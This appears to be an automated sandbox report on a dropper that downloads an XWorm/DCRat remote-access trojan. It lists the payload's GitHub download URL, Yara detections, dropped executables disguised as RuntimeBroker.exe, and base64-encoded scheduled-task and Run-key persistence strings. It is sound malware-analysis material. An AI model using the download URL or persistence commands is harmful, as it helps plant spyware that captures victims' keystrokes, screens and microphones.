Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455060612.000001FDB6AD4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455144712.000001FDB6A8F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612612426.000001FDB6A1F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612956931.000001FDB6AD4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612801980.000001FDB6A97000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455144712.000001FDB6A97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/errias/XWorm-Rat-Remote-Administration-Tool-/main/XWormUI.exe
Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612801980.000001FDB6A97000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455144712.000001FDB6A97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/errias/XWorm-Rat-Remote-Administration-Tool-/main/XWormUI.exe0
Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455144712.000001FDB6A8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/errias/XWorm-Rat-Remote-Administration-Tool-/main/XWormUI.exeA4z
Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455060612.000001FDB6AD4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612956931.000001FDB6AD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/errias/XWorm-Rat-Remote-Administration-Tool-/main/XWormUI.exeWYL
Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455060612.000001FDB6AD4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612956931.000001FDB6AD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/errias/XWorm-Rat-Remote-Administration-Tool-/main/XWormUI.exemYj
Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455060612.000001FDB6AD4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612956931.000001FDB6AD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/errias/XWorm-Rat-Remote-Administration-Tool-/main/XWormUI.exetXa

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.6:49712 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match	File source: 3.0.RuntimeBroker.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.2173837580.0000000000612000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RuntimeBroker.exe PID: 3420, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe, type: DROPPED

System Summary

Malicious sample detected (through community Yara rule)

Source: sslproxydump.pcap, type: PCAP	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 3.0.RuntimeBroker.exe.610000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 3.0.RuntimeBroker.exe.610000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 3.0.RuntimeBroker.exe.610000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 3.0.RuntimeBroker.exe.610000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen
Source: 00000003.00000000.2173837580.0000000000612000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000003.00000002.4612955259.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000003.00000002.4613580739.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: Process Memory Space: RuntimeBroker.exe PID: 3420, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, type: DROPPED	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe, type: DROPPED	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, type: DROPPED	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, type: DROPPED	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, type: DROPPED	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe, type: DROPPED	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe, type: DROPPED	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe, type: DROPPED	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen

Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Code function: 3_2_00007FFD34776752	3_2_00007FFD34776752
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Code function: 3_2_00007FFD34770600	3_2_00007FFD34770600
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Code function: 3_2_00007FFD347759A6	3_2_00007FFD347759A6
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Code function: 3_2_00007FFD34770530	3_2_00007FFD34770530
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Code function: 3_2_00007FFD34770670	3_2_00007FFD34770670
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Code function: 3_2_00007FFD34770498	3_2_00007FFD34770498
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Code function: 3_2_00007FFD347704B8	3_2_00007FFD347704B8

Source: XWormUI[1].exe.0.dr	Static PE information: Resource name: RT_VERSION type: MacBinary, comment length 97, char. code 0x69, total length 1711304448, Wed Mar 28 22:22:24 2040 INVALID date, modified Tue Feb 7 01:41:58 2040, creator ' ' "4"
Source: RuntimeBroker.exe.0.dr	Static PE information: Resource name: RT_VERSION type: MacBinary, comment length 97, char. code 0x69, total length 1711304448, Wed Mar 28 22:22:24 2040 INVALID date, modified Tue Feb 7 01:41:58 2040, creator ' ' "4"

Source: sslproxydump.pcap, type: PCAP	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 3.0.RuntimeBroker.exe.610000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 3.0.RuntimeBroker.exe.610000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 3.0.RuntimeBroker.exe.610000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 3.0.RuntimeBroker.exe.610000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy
Source: 00000003.00000000.2173837580.0000000000612000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000003.00000002.4612955259.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000003.00000002.4613580739.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: Process Memory Space: RuntimeBroker.exe PID: 3420, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, type: DROPPED	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe, type: DROPPED	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy

Source: XWormUI[1].exe.0.dr, Settings.cs	Base64 encoded string: 'GTHkLv0n511+WFpCgaIiGdRg/5G+3ytjrl/pqaY5CC2/uoO7K63FU/HqTRgvagOQtqISVXBmopa+YikE2q7k2A==', 'yG/yJG+weDZb+1BCsj7T1vOtGTzoLGcZlgUuzY4i6eB2zN++gblv+Sy1KaSOyI7zHOsPVSIziLhkSApTKNusEA==', 'G0wvQTaFpIOVvlizDxu9mxRqVtbfwSna3TYgcRtfsT/wgr3H7864L2MvfNYh0oIH/vYtRZlULU2m4MMSltPtCBtUcR6ZxbGlt5/uM0zXsqI=', 'v2QPjp9rv3730twen7gDKy2Z0TbIAgdDkmCZV1FF7Pm3rYtBxEQFgB3SWV01FAqgNdYurlMN0qSLmijprs81LXQSyigtToxUgc1gaVIiOUf0BxK7GCMJP4XT/fMNW0HlNZ0ePvSyetvKVfZoxZnFi8jFtO4e+TWOrkHko0P9fU3E3OtEInxD+pzvXODO5FC1wEB96ep75aKYPWlhUmdAZMZO/rqE1Rd0Yhup/NZxkzIa1zg5tJFTNvE02MI57d3xB2CVQwY9eytckk50b5Khc1CbDvnzUvxf+m4sjn+X2nKGCiFPYPqJXw7vqOVy927uGnYxwRIjyFOEUyGOETFs8FzGDXBbPw6beiKG3+ItGd5aUSGwOBUXZGcWyBSpZ/sieQuoNOosBuu3aJpmH26mZOv7Bp2bSFYyJtUOEbKa871wf48RbRhi/aHxwiFgndMJdblQr5FTVzpP8gEq/kGr1c17M2soKoqv51PT3f9+S+iFYhwuHgZ+2VMT4B183UJ4B7Gi/33IE6dr07gqrYhBd/im4dm4WOVFTVWV42ED1RN4RcevpNpydXuKMbMTuyWHJVMZdnCn4r8bkJ2JR9jNoqPtSRzKZZbuU7ZijPY1HkLiFq2rt+qiV8ATzTACrjzqUXK6QOFrgJQm4/we/gYs8XvO386/iCVDC5K1laPQR+tmxlBGo7XZDAbIPulIcZ3m3Uxu1Nbq7W7LR5WeUf/sN2oTtrukWij7Mrk8XYVNl69RS4FPBzL9r2+vpDQMKiFyFibqhrdRKuLGtdO0DaC9Pwjr7GsiPbvkJaCEzXXlQnoOKuDp1wBvBanbb0EdOrbpAxJR/zBlyna6pad9m7TWk+AOdV3+XI1aOWx+0Qq4gAiX1Qg5DXR+GRc/oRl9IPdN1teFi4IKtKTHoBmTbO9JuDRTFVZDro7Cr7KXVXYLNG4mCC6ZOJX0Co9tAT74+tioujsBBku2H3X2w1CSfYvcdYFXcDtXLWPeRpPB4ODSBxJ6VylOq7rF/PtEJN7IOFFzoJuY13qLC33qbqXrqv/5xysTsI697kizbShMtoEjUad9H/58X4TQjyFjMaFD8XPi', 'QXWIq7Mq82DWl6IaGIGfv2fY6AnJIfBY9clhTArmEU9DMOgGA+JKXNu6IA1Ei73TEkB+qqmqf6z0Hy+bQpynrA==', 'v0V9G8XWB54VLncZAj0EwVTmn3o387ZdN9snMSgdxzWq/6fqy4DZKsD+A3EybZcbE5SuucIbWm5pnMTiIP4fjQ==', 'K3Nl4TwW4zjsVAO8Zugh18IykcltSuVVF/0YHj0BH7k523w6+kWpoiUYcXSnZt39jVrxVPNWlpmG14OnPnDrPg=='
Source: XWormUI[1].exe.0.dr, NormalStartup.cs	Base64 encoded string: 'L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g', 'U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA=='
Source: RuntimeBroker.exe.0.dr, Settings.cs	Base64 encoded string: 'GTHkLv0n511+WFpCgaIiGdRg/5G+3ytjrl/pqaY5CC2/uoO7K63FU/HqTRgvagOQtqISVXBmopa+YikE2q7k2A==', 'yG/yJG+weDZb+1BCsj7T1vOtGTzoLGcZlgUuzY4i6eB2zN++gblv+Sy1KaSOyI7zHOsPVSIziLhkSApTKNusEA==', 'G0wvQTaFpIOVvlizDxu9mxRqVtbfwSna3TYgcRtfsT/wgr3H7864L2MvfNYh0oIH/vYtRZlULU2m4MMSltPtCBtUcR6ZxbGlt5/uM0zXsqI=', 'v2QPjp9rv3730twen7gDKy2Z0TbIAgdDkmCZV1FF7Pm3rYtBxEQFgB3SWV01FAqgNdYurlMN0qSLmijprs81LXQSyigtToxUgc1gaVIiOUf0BxK7GCMJP4XT/fMNW0HlNZ0ePvSyetvKVfZoxZnFi8jFtO4e+TWOrkHko0P9fU3E3OtEInxD+pzvXODO5FC1wEB96ep75aKYPWlhUmdAZMZO/rqE1Rd0Yhup/NZxkzIa1zg5tJFTNvE02MI57d3xB2CVQwY9eytckk50b5Khc1CbDvnzUvxf+m4sjn+X2nKGCiFPYPqJXw7vqOVy927uGnYxwRIjyFOEUyGOETFs8FzGDXBbPw6beiKG3+ItGd5aUSGwOBUXZGcWyBSpZ/sieQuoNOosBuu3aJpmH26mZOv7Bp2bSFYyJtUOEbKa871wf48RbRhi/aHxwiFgndMJdblQr5FTVzpP8gEq/kGr1c17M2soKoqv51PT3f9+S+iFYhwuHgZ+2VMT4B183UJ4B7Gi/33IE6dr07gqrYhBd/im4dm4WOVFTVWV42ED1RN4RcevpNpydXuKMbMTuyWHJVMZdnCn4r8bkJ2JR9jNoqPtSRzKZZbuU7ZijPY1HkLiFq2rt+qiV8ATzTACrjzqUXK6QOFrgJQm4/we/gYs8XvO386/iCVDC5K1laPQR+tmxlBGo7XZDAbIPulIcZ3m3Uxu1Nbq7W7LR5WeUf/sN2oTtrukWij7Mrk8XYVNl69RS4FPBzL9r2+vpDQMKiFyFibqhrdRKuLGtdO0DaC9Pwjr7GsiPbvkJaCEzXXlQnoOKuDp1wBvBanbb0EdOrbpAxJR/zBlyna6pad9m7TWk+AOdV3+XI1aOWx+0Qq4gAiX1Qg5DXR+GRc/oRl9IPdN1teFi4IKtKTHoBmTbO9JuDRTFVZDro7Cr7KXVXYLNG4mCC6ZOJX0Co9tAT74+tioujsBBku2H3X2w1CSfYvcdYFXcDtXLWPeRpPB4ODSBxJ6VylOq7rF/PtEJN7IOFFzoJuY13qLC33qbqXrqv/5xysTsI697kizbShMtoEjUad9H/58X4TQjyFjMaFD8XPi', 'QXWIq7Mq82DWl6IaGIGfv2fY6AnJIfBY9clhTArmEU9DMOgGA+JKXNu6IA1Ei73TEkB+qqmqf6z0Hy+bQpynrA==', 'v0V9G8XWB54VLncZAj0EwVTmn3o387ZdN9snMSgdxzWq/6fqy4DZKsD+A3EybZcbE5SuucIbWm5pnMTiIP4fjQ==', 'K3Nl4TwW4zjsVAO8Zugh18IykcltSuVVF/0YHj0BH7k523w6+kWpoiUYcXSnZt39jVrxVPNWlpmG14OnPnDrPg=='
Source: RuntimeBroker.exe.0.dr, NormalStartup.cs	Base64 encoded string: 'L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g', 'U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA=='

Source: XWormUI[1].exe.0.dr, Methods.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XWormUI[1].exe.0.dr, Methods.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: RuntimeBroker.exe.0.dr, Methods.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: RuntimeBroker.exe.0.dr, Methods.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.evad.winEXE@3/2@2/3

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Mutant created: \Sessions\1\BaseNamedObjects\RuntimeBroker.exe

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe

File created: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe

Jump to behavior

Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	ReversingLabs: Detection: 44%
Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Virustotal: Detection: 58%

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Process created: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Process created: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
